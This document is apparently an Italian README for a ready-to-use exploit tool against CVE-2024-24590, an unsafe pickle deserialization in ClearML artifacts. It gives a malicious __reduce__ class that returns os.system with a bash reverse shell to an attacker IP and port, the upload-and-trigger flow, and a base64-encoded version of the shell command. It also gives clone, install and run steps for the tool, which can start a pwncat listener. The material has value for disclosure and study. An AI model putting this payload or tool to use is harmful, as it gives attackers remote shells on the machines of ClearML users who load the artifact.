CVE-2024-24590 – ClearML RCE tramite deserializzazione non sicura di artefatti pickle (0.17.0–1.14.2)
| Campo | Dettagli |
|---|
| CVE | CVE-2024-24590 |
| Software | ClearML |
| Versioni interessate | 0.17.0 – 1.14.2 |
| Vulnerabilità | Deserializzazione pickle non sicura degli artifact delle task |
| Autenticazione | Richiede accesso in scrittura a un progetto ClearML |
| Impatto | Esecuzione remota di codice su qualsiasi macchina che carichi l'artifact |
| Testato su | Ubuntu 22.04, Python 3.9+ |
ClearML è una piattaforma MLOps utilizzata per tracciare esperimenti, gestire dataset e condividere artifact (modelli, file, oggetti) tra i membri del team. Quando un artifact di una task viene caricato come oggetto Python, ClearML lo serializza usando il modulo pickle di Python. Quando un altro utente scarica e carica tale artifact, ClearML lo deserializza — anch'esso con pickle — senza alcuna verifica di integrità o allowlist di classi.
Un attaccante con accesso in scrittura a un progetto ClearML condiviso può caricare un artifact dannoso contenente un metodo __reduce__ sovrascritto. Qualsiasi membro del team o pipeline automatizzata che recuperi e carichi tale artifact eseguirà il payload dell'attaccante durante la deserializzazione, ottenendo RCE sulla propria macchina.
Il modulo pickle di Python è fondamentalmente non sicuro per input non attendibili. Il metodo magico __reduce__ di una classe controlla come questa viene ricostruita durante la deserializzazione — può restituire qualsiasi callable e argomenti, incluso os.system:
class exploit:
def __reduce__(self):
return os.system, ("bash -c 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'",)
Quando viene serializzato e successivamente deserializzato, Python chiama os.system(cmd) come parte della ricostruzione dell'oggetto — prima che il chiamante abbia qualsiasi possibilità di ispezionare l'oggetto.
Attaccante (accesso in scrittura al progetto)
│
▼
task = Task.init(project_name="shared-project", task_name="exploit")
task.upload_artifact("model", artifact_object=exploit())
│
▼
Il server ClearML memorizza l'artifact come blob binario serializzato con pickle
│
▼
La vittima recupera l'artifact (pipeline automatizzata / revisione manuale)
task.artifacts["model"].get()
│
▼
pickle.loads(blob) → __reduce__ scatta → os.system(reverse_shell_cmd)
│
▼
La reverse shell si riconnette all'attaccante
Il comando della reverse shell viene codificato in Base64 prima dell'incorporamento per evitare problemi di quoting della shell nella stringa serializzata:
bash_cmd = f'bash -c "bash -i >& /dev/tcp/{ip}/{port} 0>&1"'
b64 = base64.b64encode(bash_cmd.encode()).decode()
cmd = f'echo {b64} | base64 -d | sh'
git clone https://github.com/rippsec/CVE-2024-24590-ClearML-RCE-Exploit.git
cd CVE-2024-24590-ClearML-RCE-Exploit
pip install -r requirements.txt
Requisiti: clearml, pwntools, colorama
python3 exploit.py
Il menu interattivo guida attraverso due passaggi:
Passaggio 1 — Inizializza ClearML (opzione 1)
Esegue clearml-init per configurare le credenziali per il server ClearML di destinazione. Prima esegue il backup di eventuali ~/clearml.conf esistenti.
Passaggio 2 — Esegui exploit (opzione 2)
Chiede:
Avvia opzionalmente un listener pwncat automaticamente prima di caricare l'artifact.
